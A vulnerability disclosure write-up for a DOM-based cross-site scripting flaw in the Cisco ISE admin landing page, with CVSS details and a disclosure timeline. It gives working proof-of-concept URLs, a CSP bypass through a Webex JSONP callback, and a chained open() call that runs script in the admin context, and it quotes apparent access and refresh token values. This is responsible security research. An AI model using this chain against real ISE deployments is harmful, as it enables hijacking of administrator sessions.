CVE-2024-20538
DOM-Based Cross-Site Scripting in the Cisco ISE admin Landing Page
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Cisco Identity Services Engine (ISE)
3.2.0.542
Jakub Sajniak and Viet Hoang Nguyen
A vulnerability in the web-based management interface of Cisco ISE in version <= 3.0, < 3.1P10, < 3.2P7, < 3.3P4 could allow an unauthenticated, remote attacker to conduct an XSS attack against a user of the interface.
This vulnerability exists in the pulloutView
parameter in the admin Landing Page
, because the web-based management interface does not sufficiently validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface on an affected system to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.
PoC using administrator privileges uploading JS file, navigate to:
https://[REDACTED]/admin/#pulloutLandingPage?pulloutView=https://[REDACTED]/admin/customFiles/alert.js&dashletId=bubble_chart&context=asd
PoC hosted on kubolos231.com domain, navigate and click anything on the website to start the PoC (change the ISE to actual ISE host): https://kubolos231.com/poc_24042024_cisco

Image 1 Code to be changed
To exploit this vulnerability attacker has to bypass the CSP which is:
Content-Security-Policy: frame-src *.qualtrics.com 'self'; connect-src *.qualtrics.com 'self'; frame-ancestors 'self'; font-src 'self' data: cxd-prd-files-bucket.s3-accelerate.amazonaws.com cxd-stage-files-bucket.s3-accelerate.amazonaws.com cx-files-prd-crr-bucket.s3 accelerate.amazonaws.com cxd-stg-dr-files-bucket.s3-accelerate.amazonaws.com *.cisco.com *.ciscospark.com *.wbx2.com *.webex.com code.s4d.io code.jquery.com momentjs.com cdnjs.cloudflare.com; default-src 'self' cxd-prd-files-bucket.s3-accelerate.amazonaws.com cxd stage-files-bucket.s3-accelerate.amazonaws.com cx-files-prd-crr-bucket.s3 accelerate.amazonaws.com cxd-stg-dr-files-bucket.s3-accelerate.amazonaws.com *.cisco.com *.ciscospark.com *.wbx2.com *.webex.com code.s4d.io code.jquery.com momentjs.com cdnjs.cloudflare.com *.walkme.com *.walkmeusercontent.com; script-src 'self' cxd-prd-files bucket.s3-accelerate.amazonaws.com cxd-stage-files-bucket.s3-accelerate.amazonaws.com *.qualtrics.com cx-files-prd-crr-bucket.s3-accelerate.amazonaws.com cxd-stg-dr-files-bucket.s3 accelerate.amazonaws.com *.cisco.com *.ciscospark.com *.wbx2.com *.webex.com code.s4d.io code.jquery.com momentjs.com cdnjs.cloudflare.com *.walkme.com *.walkmeusercontent.com mycase.cloudapps.cisco.com mycase-stage.cloudapps.cisco.com buffweb-stg-rtp.cisco.com 'unsafe inline' 'unsafe-eval'; style-src 'self' cxd-prd-files-bucket.s3-accelerate.amazonaws.com cxd stage-files-bucket.s3-accelerate.amazonaws.com cx-files-prd-crr-bucket.s3 accelerate.amazonaws.com cxd-stg-dr-files-bucket.s3-accelerate.amazonaws.com *.cisco.com *.ciscospark.com *.wbx2.com *.webex.com code.s4d.io code.jquery.com momentjs.com cdnjs.cloudflare.com *.walkme.com *.walkmeusercontent.com 'unsafe-inline'; img-src 'self' cxd prd-files-bucket.s3-accelerate.amazonaws.com cxd-stage-files-bucket.s3-accelerate.amazonaws.com cx-files-prd-crr-bucket.s3-accelerate.amazonaws.com cxd-stg-dr-files-bucket.s3 accelerate.amazonaws.com *.cisco.com *.ciscospark.com *.wbx2.com *.webex.com code.s4d.io code.jquery.com momentjs.com cdnjs.cloudflare.com *.walkme.com *.walkmeusercontent.com *.qualtrics.com data:;
The following address the application is generating a dynamic script via polloutView parameter as shown below:
https://[REDACTED]/admin/#pulloutLandingPage?pulloutView=https%3A%2F%2Fstmcyber.pl&dashletId=bubble_chart&context=asd
[…]
<script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data
requiremodule="https://stmcyber.pl" src="https://stmcyber.pl?_isever=171343938121423"></script>

Image 2 Execution blocked by the CSP
In this PoC, we will use buy.webex.com domain (JSONP endpoint) to bypass this CSP:
https://buy.webex.com/store/ciscoctg/en_US/SessionToken/currency.USD?apiKey=3db6d8afe2d24a78a2e7 b976457a40f5&format=json&callback=location%3dname%2f%2f
This site returns:
location=name//({"access_token":"9026326a52a38bd3c6df58ae83e67fcd75c984b8fa11016f5543db6283c1130 4455794da941eebc2d7bfe0b663a4f682054f1f482c82442ac9c04eb88aa26d454cb8911666ca580fd2ceb514579f8a6 fb9f03535d49c4ded2b29abe6d02a5a0128e8b22be3c60c7a","token_type":"bearer","expires_in":86349,"ref resh_token":"9026326a52a38bd3c6df58ae83e67fcd75c984b8fa11016f5543db6283c11304b930bbd322e595aa77c ceacd7fd8c6e9ffb3530bb5ea5f37d86200f61ee7534fc652cc9ffa59ac2573161fc72c99c69343e7f627cae8820e"})
Using this gadget we can call open function and chain it for full-blown XSS:
https://[REDACTED]/admin/#pulloutLandingPage?pulloutView=https%3A%2F%2Fbuy.webex.com%2Fstore%2Fc iscoctg%2Fen_US%2FSessionToken%2Fcurrency.USD%3FapiKey%3D3db6d8afe2d24a78a2e7b976457a40f5%26form at%3Djson%26callback%3Dlocation%25253dname%25252f%25252f%3B%26_%3Dasd%26dashletId%3Dbubble_chart %26context%3Dasd&dashletId=bubble_chart&context=asd
Concluding following code is called on the PoC:
open('https://[REDACTED]/admin/#pulloutLandingPage?pulloutView=https%3A%2F%2Fbuy.webex.com%2Fsto re%2Fciscoctg%2Fen_US%2FSessionToken%2Fcurrency.USD%3FapiKey%3D3db6d8afe2d24a78a2e7b976457a40f5% 26format%3Djson%26callback%3Dlocation%25253dname%25252f%25252f%3B%26_%3Dasd%26dashletId%3Dbubble _chart%26context%3Dasd&dashletId=bubble_chart&context=asd', "javascript:alert(document.domain)")

Image 3 Javascript Code executed
- 07-05-2024 - Vulnerability reported to vendor
- 06-11-2024 - Security advisory is published by the vendor
- 22-05-2025 - PoC published